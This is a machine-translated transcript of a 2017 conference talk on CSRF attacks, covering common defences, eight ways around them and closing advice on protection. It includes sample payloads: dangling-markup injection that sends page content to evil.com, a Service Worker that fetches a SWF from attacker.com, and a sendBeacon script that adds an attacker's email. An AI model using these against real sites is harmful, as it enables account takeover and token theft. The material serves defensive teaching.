CSRF (Cross Site Request Forgery), translated into Russian, is a fake cross-site request.
Mikhail Egorov (
0ang3el ) in his report on
Highload ++ 2017 told about CSRF vulnerabilities, what protection mechanisms are commonly used, and how they can still be circumvented. At the end, he brought out a series of tips on how to properly defend against CSRF attacks. Under the cut is the transcript of this performance.
About the speaker: Mikhail Yegorov works at the Ingram Micro Cloud company and is engaged in Application security. In his free time, Mikhail is engaged in finding vulnerabilities and bug hunting and speaks at security conferences
Disclaimer: the above information is purely the opinion of the author, all coincidences are random.

The fact that CSRF attacks work is guilty of this cookie monster. The fact is that many web applications use cookies (hereinafter, we consider it appropriate to call cookies in Russian) to manage a user session. The browser is designed so that if it has a user’s cookie for a given domain and path, it automatically sends them along with an HTTP request.
Cookies
A cookie is a small piece of data that the web server sends to the client in the form of name = value in the HTTP header with the name “Set-Cookie”. The browser stores this data on the user's computer, and whenever necessary, sends this piece of data to the web server as part of an HTTP request in an HTTP header with the name "Cookie".
Cookies can have various attributes, such as: expires, domain, secure, httponly:
Cookies first appeared in the Netscape browser back in 1994. Until now, many web applications use them to manage user sessions.

Consider how the classic Cross Site Request Forgery (CSRF) attack works.
Suppose in our web application there is the ability to change the delivery address of the user, and it uses cookies to control the session.
We have an HTML form that the user must fill in: enter the address and click the "Save" button. As a result, a POST request with an HTML form will fly to the backend. We see that the browser automatically put the user's session cookies there. The backend, when it receives such a request, sees that there is such a session, it is a legitimate user, and will change its delivery address.
What can an attacker do?

He can place an HTML-page on his site
attacker.com that actually submits an HTML form to
example . com . Since the browser automatically inserts the user's cookies into the HTTP request, the backend simply does not understand whether the request is legitimate — whether it is the result of a user filling the form or a CSRF attack — and changes the delivery address for the user to a value that is beneficial to the attacker. .
There is another option for CSRF attacks using the XHR API. If many have heard about the CSRF attack using HTML forms, then they know less about this method, but it also works.

Notice the withCredentials attribute, which forces the browser to automatically send a user cookie. Since the Content-type value is application / x-www-form-urlencoded, the browser will send this request without the CORS options preflight request, and again the CSRF attack will work.
Consider more clearly how this happens.

Initial data:
- example.com application that is vulnerable to CSRF,
- user,
- Attacking site, where there is a page csrf-xhr.html.
The user is authenticated in the application, which is located on
example.com . If he enters the attacker's site, a POST request will be automatically executed, which will change the delivery address. The browser will automatically insert session cookies into the request and the backend will change the address.
CSRF Attack History
In general, CSRF attacks have been known since 2001, when they began to be actively exploited. In the period 2008-2012, such vulnerabilities were on every first site, including:
- YouTube;
- The New York Times;
- Badoo;
- Slideshare;
- Vimeo;
- Hulu;
- KinoPoisk;
- ...
How serious are CSRF vulnerabilities?
In fact, it all depends on the criticality of the vulnerable action. It may be:
- Account takeover - the attacker captures the victim’s account by changing the email through the CSRF.
- Privilege Escalation - privilege escalation due to the fact that an attacker through the CSRF creates a new user with high rights in the system.
- Remote code execution - code execution due to the operation of command injection in the admin through CSRF.
Referring to what the internationally well-established vulnerability classifications say about the severity of CSRF.
In the
OWASP Top 10 project, which contains the 10 most critical vulnerabilities in the application, in 2010, CSRF vulnerabilities
ranked 5th . Then the developers started implementing various protection options and already in 2013, the CSRF vulnerabilities shifted to the 8th position.
CSRF-vulnerabilities were not included in the list for 2017 at all, because ostensibly according to statistics they are now in penetration testing
only in 8% of cases .
Personally, I do not agree with this statistics, because literally in the last two years I have found many CSRF vulnerabilities. Then I will tell you how I did it.
In the
Bugcrowd VRT (Vulnerability Rating Taxonomy) classification, Application-wide CSRF vulnerabilities have a severity rating of P2 (High). Only severity critical is above, that is, these are
quite serious vulnerabilities .

Consider what options for protection against CSRF exist and how each of the protection options works.
1. CSRF token- For each user session, a unique and high- entropy token is generated.
- The token is inserted into the DOM of the HTML page or is given to the user via the API.
- The user with each request associated with any changes must send a token in the parameter or in the HTTP request header.
- Since the attacker does not know the token, the classic CSRF attack does not work.
2. Double submit cookie- Again, a unique and high- entropic token is generated for each user session, but it is placed in the cookie.
- The user must in the request pass the same values in the cookies and in the request parameter.
- If these two values match in the cookies and in the parameter, then it is considered that this is a legitimate request.
- Since the attacker just cannot change cookies in the user's browser, the classic CSRF attack does not work.
3. Content-Type based protection- The user must submit a request with a specific Content-Type header, for example, application / json.
- Since it is impossible to send an arbitrary Content-Type cross-origin in the browser via the HTML form or the XHR API, the classic CSRF attack again does not work.
4. Referer-based protection- The user must send a request with a specific Referer header value. The backend checks it, if it is incorrect, then it is considered that this is a CSRF attack.
- Since the browser cannot send an arbitrary Referer via an HTML form or XHR API, the classic CSRF attack does not work.
5. Password confirmation / websudo- The user must confirm the action with a password (or secret).
- Since the attacker does not know him, the classic CSRF attack does not work.
6. SameSite Cookies in Chrome, OperaThis is a new technology that is designed to protect against CSRF. At the moment, it works only in two browsers (Chrome, Opera).
- Cookies have an additional attribute, the samesite, which can have two values: lax or strict.
- The essence of the technology is that the browser does not send cookies if the request is made from another domain, for example, from an attacker's site. So this again protects against the classic CSRF attack.
But, unfortunately, everywhere there are features of browsers, web applications and their deployment, which sometimes
allow to bypass the CSRF protection .
Therefore, now let's talk about
8 ways to circumvent the protection that can be used in practice.

Workarounds:
1. XSS (cross-sitescripting)If your web application has XSS, then it automatically makes it vulnerable to CSRF, and it is difficult to protect against this.
You can only accept .
2. Dangling markupLet's say in our application there is a vulnerability to HTML injection, but there is no XSS. For example, there is a Content Security Policy (CSP) that protects against XSS. But an attacker can still embed HTML tags.
If our application implements protection based on CSRF tokens, an attacker can inject such HTML, these are not closed image or form tags:
<img src='https://evil.com/log_csrf?html= <form action='http://evil.com/log_csrf'><textarea>
As a result, the DOM part of the HTML page will be sent to the attacker's resource. It is highly likely that if an attacker correctly injects such HTML, then what comes to the attacker's site will contain a CSRF token.
Thus, having learned the token, the attacker will be able to exploit the CSRF in the classical way.
3. Vulnerable SubdomainSuppose we have a subdomain
foo.example.com , and it is vulnerable to a
subdomain takeover or
XSS. As a result, the subdomain takeover, the attacker, fully controls the subdomain and can add any HTML pages there or run JS code in the context of the subdomain. If our subdomain is vulnerable to such things, then the attacker can bypass the following types of CSRF protection:
- CSRF tokens;
- Double submit cookie;
- Content-Type based protection.
Let's say our main application uses
CORS (Cross-Origin Resource Sharing) for cross-domain interaction. Two headers are inserted in the server response:
- Access-Control-Allow-Origin: foo.example.com (foo.example.com is a vulnerable subdomain);
- Access-Control-Allow-Credentials: true - so that using the XHR API you can make a request with user cookies.
If these conditions are met, the attacker will simply be able to read the CSRF token from the subdomain, which he controls, and continue to exploit the CSRF in the classical way.
The next option. For example, on the main domain that we want to attack, there is a
crossdomain.xml file. This file is used by flash and pdf plugins for subdomain interactions, and is allowed access from any subdomains.
<cross-domain-policy> <allow-access-from domain="*.example.com" /> </cross-domain-policy>
If an attacker can upload the JS file to
foo.example.com , then in this case he can use the Service Worker API for the subdomain foo.example.com, which actually gives the flash file.
var url = "https://attacker.com/bad.swf"; onfetch = (e) => { e.respondWith(fetch(url); }
Since we have crossdomain.xml on the main domain, which allows the interaction of subdomains, the attacker simply reads the CSRF token through this SWF.
By the way, a similar vulnerability was recently found in Amazon, more details here .
Even if CORS is not configured and there is no crossdomain.xml file, but Double submit cookie protection is used, an attacker can simply insert a cookie from the subdomain for the parent domain to the path where he wants to exploit CSRF, and thus bypass Double submit cookie protection.
4. Bad PDFThis bypass script is based on PDF. Adobe has a PDF plugin that is automatically installed when you install Adobe Reader. This plugin supports the so-called FormCalc script. True, now the PDF plugin from Adobe works only in IE11 and Firefox ESR.
FormCalc has two great methods: get () and post (). An attacker using the get method can read the CSRF token using post to send to his site. So the attacker receives the victim's CSRF token.
Suppose we have the ability to upload a PDF file to a web application. In fact, it may even be a file of another format, for example, an attacker may try to download a PDF under the guise of a picture that is the user's avatar.
The application has some API on the main domain, which allows you to get the contents of the downloaded file. Then the attacker can use an HTML page that embeds a PDF file using the embed tag, which the attacker uploaded to
example.com .
<h1>Nothing to see here!</h1> <embed src="https://example.com/shard/x1/sh/leak.pdf" width="0" height="0" type='application/pdf'>
File
leak.pdf :

This file contains a FormCalc script that reads the Settings.action page, where the DOM has a CSRF token and sends it to the attacker's website using the post method.
Since PDF is downloaded from example.com, this PDF itself has access to the entire origin
https://example.com
, and can read data from there without violating the Same Origin Policy (SOP) mode.
The additional trick is that for the PDF plugin it does not matter with which Content-Type the PDF file is given, and even the HTTP response may contain other headers (for example, Content-Disposition). The PDF plugin will still render this PDF and execute the FormCalc script.
5. Cookie injectionIf Double submit cookie protection is used, then if an attacker is able to inject cookies in any way, then this is game over.
One of the most popular options in this scenario is
CRLF injection .
If an attacker can insert additional headers into the server's response, he can simply add a Set-Cookie header with the necessary cookies and bypass the CSRF protection.
Another option is related to the
peculiarities of cookie handling by the browser .
For example, in Safari, you can insert new cookies (comma-separated cookies) separated by commas. Suppose we have a URL parameter in the header named language. We process it and write the selected language value to the user in the cookie. If the attacker inserts a comma, he can insert additional cookies with any name.
Also, bypassing the CSRF protection can help
browser bugs . For example, in Firefox, it was possible to implement cookies via an SVG image (
CVE-2016-9078) . If we have an HTML editor and we allow the user to insert image tags, then the attacker can simply point to the SVG image in the SRC attribute, which will set the desired cookie.
6. Change Content-TypeSome developers believe that if a non-standard data format is used in the body of a POST request to communicate with the backend, this can save from CSRF. In fact, it is not.
As an example, I will cite a vulnerability that I recently found in a very popular note management service.
It used an API that uses Apache Thrift (binary data format) and cookies to control the session. Suppose to add a new note, the user had to send such a POST request. In the body, binary data was transmitted and the Content-Type: application / x-thrift was indicated.
POST /user/add/note HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*
In fact, this Content-Type was not validated in the backend. You could change it to text / plain and use the XHR API to exploit this CSRF vulnerability by simply passing binary data in the body of the POST request.

In fact, Content-Type based protection is a very bad protection option. It costs most of the time.
7. Non-simple Content-TypeThrough the HTML form or using the XHR API, we can send the following content types:
- text / plain;
- application / x-www-form-urlencoded;
- multipart / form-data.
In fact, it is possible to send any Content-Type values via:
- browser bugs (for example, Navigator.sendBeacon);
- Plugins: Flash plugin + 307 redirect and PDF plugin + 307 redirect;
- backend frameworks
Some frameworks, for example, the JAX-RS framework, Apache CXF supports a parameter in the URL
named ctype . In this parameter, you can specify any Content-Type, the backend will look at this parameter and will use it instead of the Content-Type, which is transmitted in the header (
link to the source).
A fairly
well-known bug in the Chrome browser was found in 2015, after about a month later it was publicly accessible, but was fixed only in 2017. This bug allowed you to send a POST request with any Content-Type to another origin using an API called
Navigator.sendBeacon ().What did the exploitation look like?
<script> function jsonreq() { var data = '{"action":"add-user-email","Email":"attacker@evil.com"}'; var blob = new Blob([data], {type : 'application/json;charset=utf-8'}); navigator.sendBeacon('https://example.com/home/rpc', blob ); } jsonreq(); </script>
We create a new blob with the required Content-Type and simply send it using Navigator.sendBeacon ().
Another crawl scenario that still works and is supported in browsers is crawling with a flash plugin.

There is even a site
thehackerblog.com , where there is already a ready-made flash drive, you simply specify the URL, header, the required Content-Type and the data you need to transfer - send, and a POST request with the desired Content-Type flies to the backend.
But there is one trick - you can not just specify the URL of the site that we attack. You need to specify the resource that will make
redirect with code 307 to the resource that we are attacking. Then it will work.
8. Spoof RefererThe last CSRF protection bypass option is based on Referer. There is a
bug in the Microsoft Edge browser, which has not yet been fixed and allows forging the Referer value. But it works, unfortunately, only for GET requests. If the attacked backend does not distinguish GET from POST, then this bug can be exploited.
If, nevertheless, we need POST, then there is a small trick. We can send header Referer using a PDF plugin and FormCalc.

About a year ago, it was possible to send any headers, including host, using a PDF plugin, but then Adobe closed this feature by creating a black list of headers. That is, if we specify the Referer in the header, this header simply does not go.
In general, FormCalc allows us to legally send any Content-Type. If we insert the carridge return and line feed characters, we can add additional headers to the request.
What happens if we implement header
Referer http://example.com
?
It is clear that it is not in the black list and a header will be sent to the backend with the name
Referer http://example.com
.
Some servers, such as WildFly or Jboss, interpret a
space as the end of the HTTP header name, that is, the colon `
: `. Thus, such servers will see that the Referer came to them with the value
http://example.com
. So we will substitute Referer.

This is a summary table. The columns provide options for protection against CSRF, and in the rows - bypass methods. Each cell indicates the browsers in which this method works:
- All means for all browsers;
- All * means browsers that do not support SameSite Cookies, i.e. all but Chrome and Opera.

The most cardinal and working option to protect against CSRF attacks is to get rid of cookies and use a header with tokens.
But if you are still not ready to give up cookies for managing a user session:
- Model threats and verify the implementation of CSRF protection (see Summary Table).
- Implement SameSite Cookies. Now only two browsers support, but in the future, probably, there will be more of them.
- Combine different CSRF-defense - defense in depth.
- Ask the user for a password to perform critical actions.
- Share user uploaded files from a separate domain.
Less than six months, and the next timeload in a month - Highload ++ Siberia .
We would like to draw your attention to some of the selected reports: